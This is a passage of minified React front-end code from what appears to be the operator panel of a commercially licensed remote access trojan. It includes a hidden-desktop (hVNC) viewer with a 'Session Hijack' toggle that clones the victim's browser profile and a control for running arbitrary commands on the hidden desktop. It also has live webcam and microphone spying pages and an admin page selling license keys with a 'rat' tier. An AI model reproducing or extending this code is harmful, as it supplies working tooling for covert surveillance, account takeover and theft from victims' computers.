tiles"]})]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),a.jsx("div",{className:"flex-1"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:p?"#06B6D4":"#27272A"},title:"Mouse"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),T&&a.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${T.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:T.startsWith("Failed")?"#EF4444":"#06B6D4"},children:T}),a.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[q&&a.jsxs("div",{className:"relative",style:{width:U?U.width:void 0,height:U?U.height:void 0,display:R?"block":"none"},children:[a.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),a.jsx("canvas",{ref:s,onMouseMove:le,onMouseDown:we,onMouseUp:Ne,onWheel:Ae,onContextMenu:W=>W.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:p&&!y?"none":"default"}})]}),(!q||!R)&&a.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:a.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:q?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),a.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(W=>a.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${W*.3}s`}},W))})]})]})})]}),a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:q?"#22C55E":"#EF4444",boxShadow:q?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:q?"LIVE":"OFFLINE"})]}),a.jsx(Zs,{}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:te.fps})]}),a.jsx(Zs,{}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:W=>$(Number(W.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:W=>{const Q=Number(W.target.value);N(Q),C.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),a.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:a.jsxs("select",{value:k,onChange:W=>{const Q=Number(W.target.value);z(Q),C.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[a.jsx("option",{value:0,children:"Auto"}),a.jsx("option",{value:1,children:"DXGI"}),a.jsx("option",{value:2,children:"GDI"})]})}),a.jsx(Zs,{}),a.jsx(Tm,{label:"MOUSE",active:p,onClick:()=>h(!p),icon:a.jsx(kV,{})}),a.jsx(Tm,{label:"KEYS",active:x,onClick:()=>g(!x),icon:a.jsx(zV,{})}),a.jsx(Tm,{label:"VIEW",active:y,onClick:()=>v(!y),icon:a.jsx(SV,{})}),a.jsx(Zs,{}),a.jsx(Gb,{onClick:fe,title:"Sync clipboard",children:a.jsx(CV,{})}),a.jsx(Gb,{onClick:ve,title:"Fullscreen",children:a.jsx(PV,{})}),r&&a.jsxs(a.Fragment,{children:[a.jsx(Zs,{}),a.jsxs("button",{onClick:()=>G(W=>!W),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:D?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:D?"#22D3EE":"#52525B",background:D?"rgba(6, 182, 212, 0.12)":"transparent",border:D?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),jV.map(W=>a.jsxs("button",{onClick:()=>se(W.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${W.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[W.icon,a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:W.label})]},W.cmd)),a.jsxs("button",{onClick:()=>{const W=prompt("Command to launch on hidden desktop:");W&&se(W)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:W=>{W.currentTarget.style.color="#A1A1AA",W.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:W=>{W.currentTarget.style.color="#52525B",W.currentTarget.style.background="transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:S.w>0?`${S.w}×${S.h}`:"—"}),a.jsxs("button",{onClick:H,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:W=>{W.currentTarget.style.background="rgba(239, 68, 68, 0.12)",W.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:W=>{W.currentTarget.style.background="rgba(239, 68, 68, 0.06)",W.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[a.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Zs(){return a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function Tm({label:e,active:t,onClick:n,icon:r}){return a.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function Gb({onClick:e,title:t,children:n}){return a.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function kV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function zV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function SV(){return a.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function CV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function PV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function EV(){const{id:e}=il(),t=m.useRef(null),n=m.useRef(null),r=m.useRef(null),[i,s]=m.useState(!1),o=m.useRef(!1),[l,c]=m.useState({w:0,h:0}),u=m.useCallback((g,y,v)=>{o.current||(o.current=!0,s(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:p,disconnect:h}=kv({agentId:e||"",mode:"webcam",onFrame:u});m.useEffect(()=>{e&&p()},[e,p]),m.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=m.useCallback(async()=>{if(h(),e)try{await u6(e)}catch{}window.close()},[e,h]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),a.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&a.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&a.jsxs("div",{className:"flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function _V({agentId:e,onDisconnect:t}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0),[s,o]=m.useState(!1),[l,c]=m.useState(!1),u=m.useRef(!1),[d,f]=m.useState({chunkCount:0,sampleRate:0}),p=m.useCallback(()=>{if(n.current)return;const g=st();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{b.send(JSON.stringify({type:"auth",token:g})),o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const N=j.getUint16(0,!0),k=j.getUint8(2),z=j.getUint8(3),S=12,O=w.data.byteLength-S;if(f(K=>({chunkCount:K.chunkCount+1,sampleRate:N})),u.current)return;const A=r.current;if(!A||A.state==="closed")return;A.state==="suspended"&&A.resume();const T=O/(k/8)/z,P=A.createBuffer(z,T,N),D=new DataView(w.data,S);for(let K=0;K{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=m.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=m.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return m.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:s,isMuted:l,stats:d,connect:p,disconnect:h,toggleMute:x}}function AV(){const{id:e}=il(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:s,toggleMute:o}=_V({agentId:e||""});m.useEffect(()=>{e&&i()},[e,i]);const l=m.useCallback(async()=>{if(s(),e)try{await d6(e)}catch{}window.close()},[e,s]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),a.jsx("div",{className:"flex-1"}),a.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:a.jsxs("div",{className:"flex flex-col items-center gap-8",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:a.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&a.jsx(a.Fragment,{children:a.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&a.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const OV=4294967295;function TV(e){return e>=OV-86400}function Mm(e){return TV(e)?"Never":new Date(e*1e3).toLocaleString()}function Yb({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function MV({role:e}){const t=e==="admin";return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function LV(){const[e,t]=m.useState("keys"),[n,r]=m.useState([]),[i,s]=m.useState([]),[o,l]=m.useState(!0),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState("7d"),[x,g]=m.useState("0"),[y,v]=m.useState("rat"),[b,w]=m.useState(!1),[j,N]=m.useState(""),[k,z]=m.useState(!1),[S,O]=m.useState(null),[A,T]=m.useState(null),[P,D]=m.useState("30d"),[G,R]=m.useState(!1),[K,_]=m.useState(null),[M,F]=m.useState("rat"),[U,V]=m.useState(!1),Z=m.useCallback(async()=>{try{const C=await h6();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),ae=m.useCallback(async()=>{try{const C=await g6();s(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);m.useEffect(()=>{l(!0),Promise.all([Z(),ae()]).finally(()=>l(!1))},[Z,ae]);const ue=async C=>{C.preventDefault(),w(!0),u("");try{const Y=await x6({duration:p,max_agents:parseInt(x)||0,tier:y});N(Y.key),z(!1),await Z()}catch(Y){u(Y instanceof Error?Y.message:"Failed to generate key")}finally{w(!1)}},be=async C=>{u("");try{await v6(C),O(null),await Z()}catch(Y){u(Y instanceof Error?Y.message:"Failed to revoke key")}},ye=async()=>{if(A){R(!0),u("");try{await y6(A.id,P),T(null),await ae()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{R(!1)}}},q=async()=>{if(K){V(!0),u("");try{await b6(K.id,M),_(null),await ae()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{V(!1)}}},te=()=>{navigator.clipboard.writeText(j),z(!0),setTimeout(()=>z(!1),2e3)};return a.jsxs("div",{className:"p-6 space-y-6",children:[a.jsx("div",{className:"flex items-center justify-between",children:a.jsxs("div",{children:[a.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),a.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),a.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[a.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),a.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&a.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,a.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:()=>{f(!d),N("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r + hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),a.jsx("button",{onClick:Z,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[a.jsxs("form",{onSubmit:ue,className:"space-y-3",children:[a.jsxs("div",{className:"flex items-end gap-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),a.jsx("input",{type:"text",value:p,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r + focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),a.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),a.jsxs("div",{className:"flex 